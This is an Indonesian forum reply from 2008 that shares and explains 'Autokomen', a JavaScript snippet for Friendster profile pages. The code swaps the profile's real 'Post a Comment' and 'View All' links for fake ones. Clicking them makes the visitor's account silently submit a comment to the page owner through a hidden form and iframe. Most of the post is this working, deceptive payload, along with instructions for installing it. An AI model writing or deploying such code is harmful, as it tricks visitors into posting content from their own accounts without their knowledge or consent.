Pages: 112345

  2008-06-18 23:27:32

parlay
» FTalkAddict
FTalk Level: zero
427
0
1969-12-31

Re: Autokomen code. Pemberian komen otomatis dari user dgn triger 'fake Post Comment Links' & 'Right Click'! Berguna bagi yang jarang dapet komen :P No preview available [spoiler] [code]/** Autokomen fin

[quote=CoWoCuPu]wew... keren uey codenya.... tapi tu code naronya dmna iaah?! maklu masih newbie... :wallbash: :wallbash: thx anywayz... ;):thumbsup:[/quote] [b]Taro di JS file bagian C[/b] [url=http://theftalk.com/t15339-%7BTUTORIAL%7D-Kombinasi-JS-dan-WVM-%2B-Addbox-%28UPDATE-08-03-08%29.html](referensi Bang Kanal)[/url] Supaya lebih efisien bisa juga menyatukan isi [font=Courier]function dobelKomen()[/font] ke dalam [font=Courier]function onProfileLoad()[/font] atau lebih dikenal dgn sebutan 'onload handler' (bagian B referensi Bang Kanal). [quote]function dobelKomen(){ [color=blue] document.getElementById("content_18").getElementsByTagName("div")[0].innerHTML="<div class=\"viewall\"><a href=\"#18\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',2000);setTimeout('komenPage()',8000);\">Post a Comment</a> | <a href=\"#\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',2000);setTimeout('komenPage()',8000);\">View All (2500)</a></div><span style=\"display:none\"><iframe name=\"komenframe\" style=\"display:none\"></iframe><center><form name=\"testimonial_form\" method=\"post\" target=\"komenframe\"><input type=\"hidden\" name=\"testimonial_firstname\" value=\""+pageOwnerFName+"\"><input type=\"hidden\" name=\"testimonial_uid\" value=\""+pageViewerID+"\"><input type=\"hidden\" name=\"_submitted\" value=\"1\"><table class=\"formtable\"><tr><td class=\"value\"><textarea style=\"width: 100px; height: 100px;\" rows=\"5\" cols=\"60\" name=\"body\"></textarea></td></tr><tr><td class=\"value\"><input readonly type=\"hidden\" name=\"inputcount\" size=\"5\" maxlength=\"4\" value=\"500\"><input type=\"button\" name=\"Submit\" onClick=\"document.testimonial_form.action='http://www.friendster.com/testimonials.php?uid="+pageOwnerID+"&action=add';document.testimonial_form.submit();\" value=\"Post\"></form></center></span>"; document.getElementById("content_18").getElementsByTagName("div")[22].innerHTML = "<div class=\"viewall\"><a href=\"#\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',3000);setTimeout('komenPage()',8000);\">Post a Comment</a> | <a href=\"#\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',2000);setTimeout('komenPage()',8000);\">View All (2500)</a></div>"; [/color] }[/quote] Text yang berwarna biru dimasukkan ke dalam onload handler, jadi: [quote]function onProfileLoad() { ............ kode JS lain........... [color=blue] document.getElementById("content_18").getElementsByTagName("div")[0].innerHTML="<div class=\"viewall\">..... DST [/color] }[/quote] Lalu HAPUS bagian ini: [quote]if (!attachOnLoadHandler(function(){dobelKomen()})) window.onload = function(){dobelKomen()};[/quote] Sedangkan kode lainnya tetap ditaro dibagian C. Sebagai tambahan referensi, bila ada kode berbentuk fungsi: [font=Courier]function()[/font] SELAIN dari [font=Courier]function onProfileLoad()[/font] maka bisa dipastikan 99,99% bisa dimasukkan ke bagian A atau C (supaya lebih teratur formatnya, dianjurkan kebagian C saja). Jadi seharusnya tak perlu bingung lagi hehehe... ;]

Last edited by parlay (2008-06-18 23:30:47)

Pages: 112345

Board footer

© 2024 F Talk

Current time is 22:49

[ 14 queries - 0.018 second ]
Privacy Policy